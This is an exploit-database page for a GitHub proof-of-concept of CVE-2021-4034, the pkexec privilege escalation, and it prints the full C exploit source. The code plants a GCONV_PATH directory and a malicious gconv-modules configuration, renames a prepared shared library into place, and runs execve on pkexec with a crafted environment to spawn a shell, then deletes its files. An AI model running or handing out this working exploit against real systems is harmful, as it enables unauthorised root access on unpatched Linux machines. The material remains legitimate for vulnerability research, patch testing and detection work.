Exploit database

GH-2a00f634446c59d50bc728e6d2cf423a

jcatala/f_poc_cve-2021-4034

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-4034

144 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6
jcatala/f_poc_cve-2021-4034Revision 37ce2df9520b

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

f_tmpdir.c

C · 2,908 bytes
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>



const char *gconf_file = "# malicious config file\n\
alias   ISO-IR-4//              BS_4730//\n\
alias   ISO646-GB//             BS_4730//\n\
alias   GB//                    BS_4730//\n\
alias   UK//                    BS_4730//\n\
alias   CSISO4UNITEDKINGDOM//   BS_4730//\n\
module  BS_4730//               INTERNAL                ISO646          2\n\
module  INTERNAL                BS_4730//               ISO646          2\n\
module  UTF-8//                 deadbeef//                ISO646          2\n";

void setup(){
    /* Create the directory that will hold the malicious shared library and configuration */
    printf("[!] Creating GCONV_PATH directory\n");

    struct stat gconv_stat = {0};
    struct stat shared_stat = {0};
    if(stat("./GCONV_PATH=.", &gconv_stat) == -1) mkdir("GCONV_PATH=.", 0755);

    if(stat("./tmp", &gconv_stat) == -1) mkdir("./tmp", 0755);

    /* Check if there's some share object created */
    printf("[?] Checking the needed shared object\n");
    if(stat("./s.so", &shared_stat) == -1){
        printf("[!] Error, first compile the shared object\n");
        exit(-1);
    }
    /*  Move the shared object to the malicious path */
    printf("[?] Creating the files under /tmp\n");
    if(rename("./s.so", "./tmp/ISO646.so") != 0){
        printf("[!]Error moving the .so file\n");
        exit(-1);
    }

    /*  Create the malicious configuration */
    FILE *fp;
    fp = fopen("./tmp/gconv-modules", "w+");
    fputs(gconf_file, fp);
    fclose(fp);

    /*  Create dummy file inside the gconv directory  */
    printf("[?] Creating tmp file under GCONV directory\n");
    fp = fopen("./GCONV_PATH=./tmp", "w+");
    fputs("#!/bin/sh", fp);
    fclose(fp);
    if (chmod("./GCONV_PATH=./tmp", S_IRWXU)!=0 ) {
        printf("[!] Error changing permissions");
        exit(-1);
    }

    printf("[*] Setup finished successfuly !\n");
    

}

void cleanup(){
    printf("[!] Deleting files under /tmp directory\n");
    unlink("./tmp/gconv-modules");
    unlink("./tmp/ISO646.so");
    unlink("./GCONV_PATH=./tmp");
    printf("[!] Deleting directory custom \n");
    rmdir("./GCONV_PATH=.");
    rmdir("./tmp");
    printf("[!] Cleanup done\n");
}

/*
    main+974 g_find_program_in_path@plt
*/


void main()
{
    printf("[*] Starting the exploit...\n");
    
    setup();
    char *args[] = {NULL};

	//char *envp[] = {"f","PATH=name=.", NULL};
    //char *envp[] = {"tmp","PATH=GCONV_PATH=", "SHELL=abc", "CHARSET=ISO646-GB", NULL};
    char *envp[] = {"tmp","PATH=GCONV_PATH=.", "SHELL=notashell", "CHARSET=deadbeef", NULL};

    printf("Cross your fingers, spawning a shell\n");
    if(fork()){
        wait(NULL);
        cleanup();
        printf("[!] Exiting !\n");
        exit(1);
    }
	execve("/usr/bin/pkexec", args,  envp);
    
}